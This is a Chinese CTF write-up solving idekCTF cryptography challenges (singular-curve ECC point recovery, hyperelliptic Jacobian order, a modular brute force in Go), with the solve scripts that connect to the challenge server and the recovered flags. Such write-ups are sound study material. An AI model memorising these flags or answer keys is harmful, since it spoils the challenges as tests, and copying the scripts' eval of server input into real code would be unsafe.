  代入 $y_1=s_1-x_1$, $y_2=s_2-x_2$ 并使用 $x_3+y_3=s_3$，可得到只含 $x_1,x_2$ 的多项式

  $$ F(x_1,x_2)=0 . $$

于是得到 三方程系统

$$ \begin{cases} E_1(x_1) = 0,\ E_2(x_2) = 0,\ F(x_1,x_2) = 0 . \end{cases} $$

2. 第一次消元

计算 结式，消去 $x_1$：

$$ R_1(x_2)=\operatorname{resultant}\big(F(x_1,x_2),,E_1(x_1),,x_1\big) . $$

此时 $R_1(x_2)$ 只含变量 $x_2$，它的根即为满足前两条约束的 $x_2$。

3. 取公共根

需要 $x_2$ 同时满足

$$ R_1(x_2)=0,\qquad E_2(x_2)=0 . $$

使用 最大公约数（GCD）求公共根：

$$ g(x_2)=\gcd\big(R_1(x_2),,E_2(x_2)\big) . $$

在唯一解的情况下，$g$ 必为一次多项式

$$ g(x_2)=c,(x_2-x_{2,\text{sol}}) . $$

于是可直接读取

$$ x_{2,\text{sol}} = \text{root}(g) . $$

4. 回代求解

• 计算 $y_2 = s_2 - x_2$（模 $n$）得到 $P_2$ 完整坐标。

• 交换角色或再利用一次 resultant 可以求出 $x_1$ 与 $y_1$。

• 最后直接调用源码中的 __add__（或使用上面的公式）计算

  $$ P_3 = P_1 + P_2 $$

  得到 $(x_3, y_3)$ 并验证 $x_3 + y_3 \equiv s_3\pmod n$。

小结

1. 从点倍加的斜率逆推出了奇异曲线方程

   $$ x^{2} \equiv (y-1337)^{3}\pmod n . $$

2. 利用线性关系把每个点的坐标化为单变量三次方程。

3. 构造点加法约束得到两变量多项式 $F(x_1,x_2)$。

4. 利用结式与 GCD 消除变量，得到唯一的 $x_2$（进而得到全部点的坐标）。

这样即可仅凭 “坐标之和” 恢复出所有点的完整坐标，完成挑战。

Exploit 如下题，直接看 Sadness ECC - Revenge

Happy ECC

这道题是一个基于超椭圆曲线密码学的挑战。我们需要在一个未知的二亏格（genus 2）超椭圆曲线上，计算一个给定点的阶。

赛后知道一部分是论文，不过 SageMath 已经实现好了，而且计算方法有很多

解题思路

核心分为三个步骤：

1. 恢复曲线方程: 由于曲线方程 $y^2 = f(x)$ 中的多项式 $f(x)$ 是未知的，我们首先需要利用题目提供的信息来恢复它。
2. 计算群阶: 在获得完整的曲线定义后，计算其雅可比群（Jacobian group）的总阶。
3. 计算点的真阶: 利用群的总阶和拉格朗日定理，计算出目标点的真实阶。

第一步：恢复曲线多项式 $f(x)$

题目中的超椭圆曲线定义在有限域 $GF(p)$ 上，形式为 $y^2 = f(x)$，其中 $f(x)$ 是一个首一（monic）的5次多项式。曲线的亏格 $g = \lfloor(\deg(f)-1)/2\rfloor = \lfloor(5-1)/2\rfloor = 2$。

在超椭圆曲线的雅可比群中，元素（除子）通常用 Mumford 表示法 表示为一个二元组 $(U(x), V(x))$，其中 $U, V$ 都是多项式，且满足以下关键性质：

1. $U(x)$ 是首一多项式，且其次数 $\deg(U) \le g$。
2. $\deg(V) < \deg(U)$。
3. $V(x)^2 \equiv f(x) \pmod{U(x)}$。

这个关系是恢复 $f(x)$ 的基础。我们可以通过与服务器交互，多次选择选项1，获取几个点 $P_i = (U_i, V_i)$。对于每个点，我们都得到一个关于未知多项式 $f(x)$ 的同余方程： $$f(x) \equiv V_i(x)^2 \pmod{U_i(x)}$$ 由于 $f(x)$ 的次数为5，而每个 $U_i(x)$ 的次数都为 $g=2$，我们需要足够多的同余方程来唯一确定 $f(x)$。脚本中请求了3个点，得到了一个同余方程组： $$\begin{cases} f(x) \equiv V_1(x)^2 \pmod{U_1(x)} \ f(x) \equiv V_2(x)^2 \pmod{U_2(x)} \ f(x) \equiv V_3(x)^2 \pmod{U_3(x)} \end{cases}$$ 三个模数 $U_1, U_2, U_3$ 的乘积次数为 $2+2+2=6$，大于 $f(x)$ 的次数5。因此，我们可以使用多项式中国剩余定理 (Chinese Remainder Theorem for Polynomials) 来解出这个方程组，从而唯一确定 $f(x)$。solve.py 脚本中的 CRT_list 函数正是实现了这个功能。

第二步：计算雅可比群的阶

在恢复了 $f(x)$ 后，我们就得到了曲线的完整定义。曲线的雅可比群 $J(C)$ 是一个有限阿贝尔群，其阶（即群中元素的数量）可以通过计算 Frobenius 自同态的特征多项式 $\chi_C(t)$ 得到。 雅可比群的阶 $|J(C)|$ 由下式给出： $$|J(C)| = \chi_C(1)$$ SageMath 库提供了直接计算这个多项式的函数 H.frobenius_polynomial()。脚本中通过调用 sum(H.frobenius_polynomial())，实际上就是计算了 $\chi_C(t)$ 在 $t=1$ 处的值，从而得到了群的总阶 $N = |J(C)|$。

似乎别的函数还要再快一些，但快不了多少…

第三步：计算点 $G$ 的真实阶

服务器最后会给出一个挑战点 $G = (G_U, G_V)$，要求我们计算它的阶。根据拉格朗日定理，点 $G$ 的阶 $\text{ord}(G)$ 必须整除群的总阶 $N$。

为了找到 $G$ 的真实阶（即满足 $k \cdot G = \mathcal{O}$ 的最小正整数 $k$，其中 $\mathcal{O}$ 是单位元），我们采用以下算法：

1. 计算群阶 $N = |J(C)|$。

2. 对 $N$ 进行质因数分解：$N = p_1^{e_1} p_2^{e_2} \cdots p_k^{e_k}$。

3. 初始化一个候选阶 order_candidate 为 $N$。

4. 对每一个质因子 $p_i$，我们不断尝试用它去除 order_candidate。只要 $(\text{order_candidate} / p_i) \cdot G$ 的结果是单位元（在Mumford表示中，单位元是 $(U=1, V=0)$），我们就更新 order_candidate：

   $$\text{order_candidate} \leftarrow \frac{\text{order_candidate}}{p_i}$$

   这个过程一直持续到除以 $p_i$ 后不再是单位元为止。

5. 遍历完所有质因子后，order_candidate 的最终值就是点 $G$ 的真实阶。

将这个阶发送给服务器，即可获得 flag。

idek{find_the_order_of_hyperelliptic_curve_is_soooo_hard:((}

懒得贴了，直接看 Happy ECC - Revenge 的 Exploit，没啥区别

Diamond Ticket

题目

from Crypto.Util.number import *

#Some magic from Willy Wonka
p = 170829625398370252501980763763988409583
a = 164164878498114882034745803752027154293
b = 125172356708896457197207880391835698381

def chocolate_generator(m:int) -> int:
    return (pow(a, m, p) + pow(b, m, p)) % p

#The diamond ticket is hiding inside chocolate
diamond_ticket = open("flag.txt", "rb").read()
assert len(diamond_ticket) == 26
assert diamond_ticket[:5] == b"idek{"
assert diamond_ticket[-1:] == b"}"
diamond_ticket = bytes_to_long(diamond_ticket[5:-1])

flag_chocolate = chocolate_generator(diamond_ticket)
chocolate_bag = []

#Willy Wonka are making chocolates
for i in range(1337):
    chocolate_bag.append(getRandomRange(1, p))

#And he put the golden ticket at the end
chocolate_bag.append(flag_chocolate)

#Augustus ate lots of chocolates, but he can't eat all cuz he is full now :D
remain = chocolate_bag[-5:]

#Compress all remain chocolates into one
remain_bytes = b"".join([c.to_bytes(p.bit_length()//8, "big") for c in remain])

#The last chocolate is too important, so Willy Wonka did magic again
P = getPrime(512)
Q = getPrime(512)
N = P * Q
e = bytes_to_long(b"idek{this_is_a_fake_flag_lolol}")
d = pow(e, -1, (P - 1) * (Q - 1))
c1 = pow(bytes_to_long(remain_bytes), e, N)
c2 = pow(bytes_to_long(remain_bytes), 2, N) # A small gift

#How can you get it ?
print(f"{N = }")
print(f"{c1 = }")
print(f"{c2 = }") 

"""
N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867
c1 = 27062074196834458670191422120857456217979308440332928563784961101978948466368298802765973020349433121726736536899260504828388992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301
c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649
"""

这题一开始思路被带偏，上来就是 $\pmod {p-1}$ 走了多少弯路

因为有爆破的成分在，我们继续 Golang

VibeCoding 时要注意 Review，这里就是循环里得额外手动优化，AI 很笨，每个循环里都在做大数乘法

1. 问题概述

我们需要求出 diamond_ticket 的值，它是一个长度为 20 字节的可打印 ASCII 字符串，记为整数

$$ m \in [m_{\text{min}},,m_{\text{max}}] . $$

在题目提供的 Python 脚本中，m 被视作一个 20 字节的整数，并被代入函数

$$ \text{flag_chocolate}= (a^m+b^m)\bmod p , $$

其中

• $p$ 为大素数
• $a,b$ 为已知常数

后半段涉及 RSA 加密，但 公钥指数 $e$ 为偶数，导致 $\gcd(e,\varphi(N))\neq 1$ 且私钥不可求，暗示 RSA 部分是误导，真正的突破点在 第一部分的数论约束。

下面的分析以 Go 实现的搜索程序为出发点，说明其数学原理。

2. 数学原理

2.1 费马小定理与阶

对任意整数 $x$ 与素数 $p$（$p\nmid x$）有

$$ x^{p-1}\equiv 1 \pmod{p}. $$

若整数 $x$ 在模 $p$ 下的 阶（$\operatorname{ord}_p(x)$）定义为

$$ \operatorname{ord}_p(x)=\min{k>0\mid x^k\equiv 1\pmod{p}}, $$

则 $\operatorname{ord}_p(x)$ 必是 $p-1$ 的约数。

2.2 关键参数

• 题目给出的素数

$$ p_{\text{crypto}} = 170,829,625,398,370,252,501,980,763,763,988,409,583 . $$

• Go 代码中使用的

$$ q = p_{\text{crypto}}-1; / ; 2 = 85,414,812,699,185,126,250,990,381,881,994,204,791 . $$

计算可得

$$ q = \frac{p_{\text{crypto}}-1}{2}. $$

注释 a.multiplicative_order()+1 表明

$$ \operatorname{ord}{p{\text{crypto}}}(a) = q, $$

即 $a$ 的阶恰为 $q$。于是

$$ a^{\frac{p_{\text{crypto}}-1}{2}} \equiv 1 \pmod{p_{\text{crypto}}}. $$

2.3 同余关系

任意整数 $m$ 可写成

$$ m = k;q + r,\qquad 0\le r < q, $$

即

$$ m \equiv r \pmod{q}. $$

将其代入 $a^m$：

$$ a^{m}=a^{kq+r}=(a^{q})^{k},a^{r}\equiv 1^{k},a^{r}\equiv a^{r}\pmod{p_{\text{crypto}}}. $$

因此 $a^m$ 只依赖于 余数 $r = m \bmod q$。

Go 代码直接给出了

$$ r_{\text{go}} = 4,807,895,356,063,327,854,843,653,048,517,090,061 . $$

于是核心约束化为

$$ \boxed{,m \equiv r_{\text{go}}\pmod{q},}. $$

3. 搜索算法的数学推导

3.1 可打印字符串的取值范围

ASCII 可打印字符范围为

$$ 32 \le \text{byte} \le 126 . $$

因此 20 字节字符串对应的整数范围为

$$ m_{\text{min}} = \underbrace{0x20\cdots20}{20\text{ 个空格}} \qquad m{\text{max}} = \underbrace{0x7E\cdots7E}_{20\text{ 个波浪号}} $$

3.2 约束的整数解

我们同时需要满足

$$ \begin{cases} m = k,q + r_{\text{go}} ,\ m_{\text{min}} \le m \le m_{\text{max}} . \end{cases} $$

代入得到关于 $k$ 的不等式

$$ m_{\text{min}} - r_{\text{go}} \le k,q \le m_{\text{max}} - r_{\text{go}} . $$

除以 $q$ 并取整数，得到

$$ k_{\text{start}} = \left\lceil \dfrac{m_{\text{min}} - r_{\text{go}}}{q}\right\rceil, \qquad k_{\text{end}} = \left\lfloor \dfrac{m_{\text{max}} - r_{\text{go}}}{q}\right\rfloor . $$

这正是 Go 程序中 kStart 与 kEnd 的计算方式。

3.3 搜索流程

1. 初始化：设定 $q$ 与 $r_{\text{go}}$。

2. 计算范围：由可打印字符计算 $m_{\text{min}},,m_{\text{max}}$，进而得到 $[k_{\text{start}},k_{\text{end}}]$。

3. 并行遍历：将该区间划分为若干块，利用多核 CPU 并行遍历每个 $k$。

4. 候选验证：对每个 $k$ 计算

   $$ m = k,q + r_{\text{go}} . $$

   将整数 $m$ 转为 20 字节序列，检查每个字节是否落在 $[32,126]$ 区间。

5. 输出：找到满足所有条件的唯一 $m$ 后，将其格式化为

   $$ \text{idek{ \ldots }} . $$

4. 结论

通过 模运算 与 阶的性质，原本看似复杂的密码学问题被化简为单一同余方程

$$ m \equiv r_{\text{go}} \pmod{q}, $$

再结合 “可打印 20 字节字符串” 的物理约束，搜索空间被大幅缩小。 Go 实现的并行搜索遍历所有满足数论约束的候选，最终得到隐藏的 diamond_ticket，即题目所求的 20 字符密钥。

package main

import (
    "bytes"
    "fmt"
    "math/big"
    "os"
    "runtime"
    "sync"
    "time"

    "github.com/schollz/progressbar/v3"
)

func isPrintable(data []byte) bool {
    for _, b := range data {
        if b < 32 || b > 126 {
            return false
        }
    }
    return true
}

func worker(
    k_start, k_end *big.Int,
    p_minus_1, r *big.Int,
    wg *sync.WaitGroup,
    bar *progressbar.ProgressBar,
    foundMutex *sync.Mutex,
    outputFile *os.File,
) {
    defer wg.Done()
    m := new(big.Int).Mul(k_start, p_minus_1)
    m.Add(m, r)
    const flagContentLength = 20
    mBytes := make([]byte, flagContentLength)

    const batchSize = 10000
    var batchCounter int64 = 0

    loopCount := new(big.Int).Sub(k_end, k_start)
    loopCount.Add(loopCount, big.NewInt(1))

    one := big.NewInt(1)
    i := new(big.Int)

    for i.Cmp(loopCount) < 0 {
        if m.BitLen() <= flagContentLength*8 {
            m.FillBytes(mBytes)
            if isPrintable(mBytes) {
                foundMutex.Lock()
                flag := fmt.Sprintf("idek{%s}", string(mBytes))
                fmt.Println("\n[+] possible flag:", flag)
                _, err := outputFile.WriteString(flag + "\n")
                if err != nil {
                    fmt.Println("[-] err:", err)
                }
                foundMutex.Unlock()
            }
        }

        m.Add(m, p_minus_1)

        batchCounter++
        if batchCounter == batchSize {
            bar.Add64(batchSize)
            batchCounter = 0
        }

        i.Add(i, one)
    }

    if batchCounter > 0 {
        bar.Add64(batchCounter)
    }
}

func main() {
    // a.multiplicative_order()+1, 因为后面有个 p-1, 懒得改了
    pStr := "85414812699185126250990381881994204792"
    rStr := "4807895356063327854843653048517090061"

    p, _ := new(big.Int).SetString(pStr, 10)
    r, _ := new(big.Int).SetString(rStr, 10)

    pMinus1 := new(big.Int).Sub(p, big.NewInt(1))
    const flagContentLength = 20

    mMinBytes := bytes.Repeat([]byte{32}, flagContentLength)
    mMaxBytes := bytes.Repeat([]byte{126}, flagContentLength)
    mMin := new(big.Int).SetBytes(mMinBytes)
    mMax := new(big.Int).SetBytes(mMaxBytes)
    kStartNum := new(big.Int).Sub(mMin, r)
    kStart := new(big.Int).Div(kStartNum, pMinus1)

    mCheck := new(big.Int).Mul(kStart, pMinus1)
    mCheck.Add(mCheck, r)
    if mCheck.Cmp(mMin) < 0 {
        kStart.Add(kStart, big.NewInt(1))
    }

    kEndNum := new(big.Int).Sub(mMax, r)
    kEnd := new(big.Int).Div(kEndNum, pMinus1)

    fmt.Printf("[*] k_start: %s\n", kStart.String())
    fmt.Printf("[*] k_end:   %s\n", kEnd.String())

    kRange := new(big.Int).Sub(kEnd, kStart)
    kRange.Add(kRange, big.NewInt(1))

    bar := progressbar.NewOptions64(
        kRange.Int64(),
        progressbar.OptionSetDescription("Searching..."),
        progressbar.OptionSetWriter(os.Stderr),
        progressbar.OptionShowBytes(false),
        progressbar.OptionSetWidth(40),
        progressbar.OptionShowCount(),
        progressbar.OptionThrottle(100*time.Millisecond),
        progressbar.OptionSpinnerType(14),
        progressbar.OptionFullWidth(),
        progressbar.OptionSetRenderBlankState(true),
        progressbar.OptionShowElapsedTimeOnFinish(),
    )

    numWorkers := runtime.NumCPU()
    runtime.GOMAXPROCS(numWorkers)
    var wg sync.WaitGroup
    var foundMutex sync.Mutex
    outputFile, err := os.Create("found_flags.txt")
    if err != nil {
        fmt.Println("[-] err:", err)
        return
    }
    defer outputFile.Close()

    totalWork := new(big.Int).Set(kRange)
    chunkSize := new(big.Int).Div(totalWork, big.NewInt(int64(numWorkers)))
    currentK := new(big.Int).Set(kStart)
    one := big.NewInt(1)

    for i := 0; i < numWorkers; i++ {
        wg.Add(1)
        workerKStart := new(big.Int).Set(currentK)
        var workerKEnd *big.Int
        if i == numWorkers-1 {
            workerKEnd = new(big.Int).Set(kEnd)
        } else {
            workerKEnd = new(big.Int).Add(workerKStart, chunkSize)
            workerKEnd.Sub(workerKEnd, one)
        }
        if workerKStart.Cmp(kEnd) > 0 {
            wg.Done()
            continue
        }
        go worker(workerKStart, workerKEnd, pMinus1, r, &wg, bar, &foundMutex, outputFile)
        currentK.Add(workerKEnd, one)
    }

    wg.Wait()
    bar.Finish()
    fmt.Println("\n[+] Results saved to found_flags.txt.")
}

idek{tks_f0r_ur_t1ck3t_xD}

Sadness ECC - Revenge

Revenge 换了更麻烦的 PoW, 糊一个解决 PoW 的代码段上去就行

后续的做法没啥区别

# bad ecc revenge exp.py
# sage
from pwn import remote
import subprocess
import ast
from sage.all import *

# PoW
kctf_solver_code = """
#!/usr/bin/env python3
import base64, os, secrets, socket, sys, hashlib
try:
    import gmpy2
    HAVE_GMP = True
except ImportError:
    HAVE_GMP = False
VERSION = 's'
MODULUS = 2**1279-1
def python_sloth_root(x, diff, p):
    exponent = (p + 1) // 4
    for i in range(diff):
        x = pow(x, exponent, p) ^ 1
    return x
def gmpy_sloth_root(x, diff, p):
    exponent = (p + 1) // 4
    for i in range(diff):
        x = gmpy2.powmod(x, exponent, p).bit_flip(0)
    return int(x)
def sloth_root(x, diff, p):
    if HAVE_GMP: return gmpy_sloth_root(x, diff, p)
    else: return python_sloth_root(x, diff, p)
def encode_number(num):
    size = (num.bit_length() // 24) * 3 + 3
    return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
def decode_number(enc):
    return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')
def decode_challenge(enc):
    dec = enc.split('.')
    if dec[0] != VERSION: raise Exception('Unknown challenge version')
    return list(map(decode_number, dec[1:]))
def encode_challenge(arr):
    return '.'.join([VERSION] + list(map(encode_number, arr)))
def solve_challenge(chal):
    [diff, x] = decode_challenge(chal)
    y = sloth_root(x, diff, MODULUS)
    return encode_challenge([y])
def main():
    if len(sys.argv) != 3 or sys.argv[1] != 'solve': sys.exit(1)
    challenge = sys.argv[2]
    solution = solve_challenge(challenge)
    sys.stdout.write(solution)
if __name__ == "__main__":
    main()
"""

class DummyPoint:
    O = object()

    def __init__(self, x=None, y=None):
        if (x, y) == (None, None):
            self._infinity = True
        else:
            assert DummyPoint.isOnCurve(x, y), (x, y)
            self.x, self.y = x, y
            self._infinity = False

    @classmethod
    def infinity(cls):
        return cls()

    def is_infinity(self):
        return getattr(self, "_infinity", False)

    @staticmethod
    def isOnCurve(x, y):
        return "<REDACTED>"

    def __add__(self, other):
        if other.is_infinity():
            return self
        if self.is_infinity():
            return other

        # ——— Distinct‑points case ———
        if self.x != other.x or self.y != other.y:
            dy    = self.y - other.y
            dx    = self.x - other.x
            inv_dx = 1 / dx
            prod1 = dy * inv_dx
            s     = prod1

            inv_s = 1 / s
            s3    = inv_s ** 3

            tmp1 = s * self.x
            d    = self.y - tmp1

            d_minus    = d - 1337
            neg_three  = -3
            tmp2       = neg_three * d_minus
            tmp3       = tmp2 * inv_s
            sum_x      = self.x + other.x
            x_temp     = tmp3 + s3
            x_pre      = x_temp - sum_x
            x          = x_pre

            tmp4       = self.x - x
            tmp5       = s * tmp4
            y_pre      = self.y - tmp5
            y          = y_pre

            return DummyPoint(x, y)

        dy_term       = self.y - 1337
        dy2           = dy_term * dy_term
        three_dy2     = 3 * dy2
        inv_3dy2      = 1 / three_dy2
        two_x         = 2 * self.x
        prod2         = two_x * inv_3dy2
        s             = prod2

        inv_s         = 1 / s
        s3            = inv_s**3

        tmp6          = s * self.x
        d2            = self.y - tmp6

        d2_minus      = d2 - 1337
        tmp7          = -3 * d2_minus
        tmp8          = tmp7 * inv_s
        x_temp2       = tmp8 + s3
        x_pre2        = x_temp2 - two_x
        x2            = x_pre2

        tmp9          = self.x - x2
        tmp10         = s * tmp9
        y_pre2        = self.y - tmp10
        y2            = y_pre2

        return DummyPoint(x2, y2)

    def __rmul__(self, k):
        if not isinstance(k, int) or k < 0:
            raise ValueError("Choose another k")
        
        R = DummyPoint.infinity()
        addend = self
        while k:
            if k & 1:
                R = R + addend
            addend = addend + addend
            k >>= 1
        return R

    def __repr__(self):
        return f"DummyPoint({self.x}, {self.y})"

    def __eq__(self, other):
        return self.x == other.x and self.y == other.y
        
def compositeModulusGCD(a, b):
    if(b == 0):
        return a.monic()
    else:
        return compositeModulusGCD(b, a % b)
def verify(x, y):
    return (x**2 - (y - 1337)**3) % n == 0

# Write the solver code to a file
with open("kctf_solver.py", "w") as f:
    f.write(kctf_solver_code)
 
# ECC
 
def compositeModulusGCD(a, b):
    if(b == 0): return a.monic()
    else: return compositeModulusGCD(b, a % b)
 
 
# Establish connection
io = remote("sad-ecc-revenge.chal.idek.team", 1337)
 
# --- Handle PoW using the subprocess method ---
print("[*] Handling Proof-of-Work using subprocess...")
io.recvuntil(b") solve ")
challenge = io.recvline().strip().decode()
print(f"[*] Received PoW challenge: {challenge}")
 
# Run the external solver script
result = subprocess.run(
    ['python3', 'kctf_solver.py', 'solve', challenge],
    capture_output=True,
    text=True
)
solution = result.stdout.strip()
 
print(f"[*] Calculated PoW solution: {solution}")
io.sendlineafter(b"Solution? ", solution.encode())
io.recvuntil(b"Correct\n")
print("[+] PoW solved!")

# io.interactive()
io.sendafter(b"> ", b"2\n")

n = 18462925487718580334270042594143977219610425117899940337155124026128371741308753433204240210795227010717937541232846792104611962766611611163876559160422428966906186397821598025933872438955725823904587695009410689230415635161754603680035967278877313283697377952334244199935763429714549639256865992874516173501812823285781745993930473682283430062179323232132574582638414763651749680222672408397689569117233599147511410313171491361805303193358817974658401842269098694647226354547005971868845012340264871645065372049483020435661973539128701921925288361298815876347017295555593466546029673585316558973730767171452962355953
x1, y1, x2, y2 = var("x1 y1 x2 y2")
s1, s2, s3 = eval(io.recvline().decode().split(":")[1])
# print(f"{s1}")
# print(f"{s2}")
# print(f"{s3}")

f = -x1 - x2 + 3*(x1 - x2)*(x1*(y1 - y2)/(x1 - x2) - y1 + 1337)/(y1 - y2) + (x1 - x2)**3/(y1 - y2)**3 -(2*x1 + x2 - 3*(x1 - x2)*(x1*(y1 - y2)/(x1 - x2) - y1 + 1337)/(y1 - y2) - (x1 - x2)**3/(y1 - y2)**3)*(y1 - y2)/(x1 - x2) + y1
f = f - s3
f = f(y1 = s1 - x1, y2 = s2 - x2)
f = f.numerator()
E1 = x1**2 - (y1 - 1337)**3
E2 = x2**2 - (y2 - 1337)**3
E1 = E1(y1 = s1 - x1)
E2 = E2(y2 = s2 - x2)
f1 = f.resultant(E1, x1)
f2 = f.resultant(E2, x1)
PR = PolynomialRing(Zmod(n), name="x")
x = PR.gens()[0]
g1 = PR(str(f1).replace("x2", "x"))
g2 = PR(str(f2).replace("x2", "x"))
x2_ = -list(compositeModulusGCD(g1, g2))[0]
y2_ = s2 - x2_

PR = PolynomialRing(Zmod(n), name="x")
x = PR.gens()[0]
f1 = f.resultant(E1, x2)
f2 = f.resultant(E2, x2)
g1 = PR(str(f1).replace("x1", "x"))
g2 = PR(str(f2).replace("x1", "x"))
x1_ = -list(compositeModulusGCD(g1, g2))[0]
y1_ = s1 - x1_
P1 = DummyPoint(x1_, y1_)
P2 = DummyPoint(x2_, y2_)
P3 = P1 + P2
x3_, y3_ = P3.x, P3.y
points = [x1_, y1_, x2_, y2_, x3_, y3_]
io.sendafter("Your reveal: ", str(points).encode() + b"\n")
print(io.recvall(3).decode())
# idek{the_idea_came_from_a_Vietnamese_high_school_Mathematical_Olympiad_competition_xD_sorry_for_unintended_:sob:_75f492115a34ff4324212e09e24aa5bd}